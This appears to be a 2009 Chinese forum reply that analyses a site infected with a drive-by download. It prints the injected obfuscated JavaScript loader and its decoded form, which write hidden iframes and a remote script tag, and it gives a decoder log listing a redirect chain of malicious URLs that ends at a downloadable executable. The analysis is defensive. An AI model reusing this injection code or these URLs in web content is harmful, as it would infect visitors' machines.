|
|
发表于 2009-8-27 16:14:56
|
显示全部楼层
回复 1楼 弧光 的帖子
真的被挂马咯。。。
http://www.360fandu.cn/include/javascript/viewthread.js 由此网址解，得出：（略有删减）
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5.l(\'<9 7=0 k=1 i="8://m.n.6.4/a/e.c?2"><9 7=0 k=1 i="8://m.n.6.4/a/g.c?3">\')',62,24,'|100|111|222|cn|document|gov|height|http|iframe|images|javascript|jpg|js|kiss|language|miss|script|src|ubb|width|writeln|www|xcrsrc'.split('|'),0,{}));}
利用上面网页提供的线索得出：
document.writeln('<script language=javascript src=http://www.xcrsrc.gov.cn/images/ubb.js></script><iframe height=0 width=100 src="http://www.xcrsrc.gov.cn/images/kiss.jpg?111"></iframe><iframe height=0 width=100 src="http://www.xcrsrc.gov.cn/images/miss.jpg?222"></iframe>')
挂马地址，就出来咯！
关于:hxxp://www.xcrsrc.gov.cn/images/kiss.jpg?111解密的日志(全体输出 - 28):
Level 1>http://bbs.xcdx169.net/templates/default/fckb6.htm?520520
Level 2>http://s3.bengbeng1.3322.org/b038093/b03.htm
Level 3>http://s3.bengbeng1.3322.org/new.html
Level 4>http://s3.bengbeng1.3322.org/real11.htm
Level 5>http://s3.bengbeng1.3322.org/realplay.js
Level 6>http://wdb.8800.org:8808/ciji.css ●
Level 4>http://s3.bengbeng1.3322.org/real10.htm
Level 5>http://s3.bengbeng1.3322.org/real.js
Level 6>http://wdb.8800.org:8808/ciji.css ●
Level 4>http://s3.bengbeng1.3322.org/dir.htm
Level 5>http://s3.bengbeng1.3322.org/sao.jpg
Level 5>http://s3.bengbeng1.3322.org/lang.jpg
Level 6>http://wdb.8800.org:8808/ciji.css ●
Level 4>http://s3.bengbeng1.3322.org/zhin.js
Level 5>http://s3.bengbeng1.3322.org/xxfx.htm
Level 5>http://s3.bengbeng1.3322.org/bfyy.htm
Level 6>http://s3.bengbeng1.3322.org/bf.js
Level 7>http://wdb.8800.org:8808/ciji.css ●
Level 6>http://s3.bengbeng1.3322.org/bff.js
Level 5>http://s3.bengbeng1.3322.org/as.htm
Level 6>http://s3.bengbeng1.3322.org/of.css
Level 6>http://s3.bengbeng1.3322.org/of1.css ●
Level 6>http://s3.bengbeng1.3322.org/of.js
Level 7>http://wdb.8800.org:8808/ciji.css ●
Level 5>http://s3.bengbeng1.3322.org/lzz.htm
Level 6>http://s3.bengbeng1.3322.org/lzz.js
Level 7>http://wdb.8800.org:8808/ciji.css ●
Level 4>http://s3.bengbeng1.3322.org/xnnn.js
日志由 Redoce2.0第36次修正版于 2009-8-27 16:32:51 生成。
关于:hxxp://www.xcrsrc.gov.cn/images/kiss.jpg?111解密的日志(全体输出 - 9):
Level 1>http://www.xcrsrc.gov.cn/images/miss.jpg?222
Level 2>http://bbs.xcdx169.net/templates/default/fckd6.htm?123
Level 3>http://bbs.xcdx169.net/templates/default/inc/inde7.htm?520
Level 4>http://bbs.xcdx169.net/templates/default/inc/tj3.js
Level 4>http://bbs.xcdx169.net/templates/default/inc/var3.js
Level 5>http://bbs.xcdx169.net/forumdata/inc/d4.exe ●
Level 4>http://bbs.xcdx169.net/templates/default/inc/of3.htm
Level 5>http://bbs.xcdx169.net/templates/default/inc/of3.js
Level 6>http://bbs.xcdx169.net/forumdata/inc/d4.exe ●
日志由 Redoce2.0第36次修正版于 2009-8-27 16:34:52 生成。
[ 本帖最后由 幸福的猪猪 于 2009-8-27 16:35 编辑 ] |
|
楼主
路过问下，这个是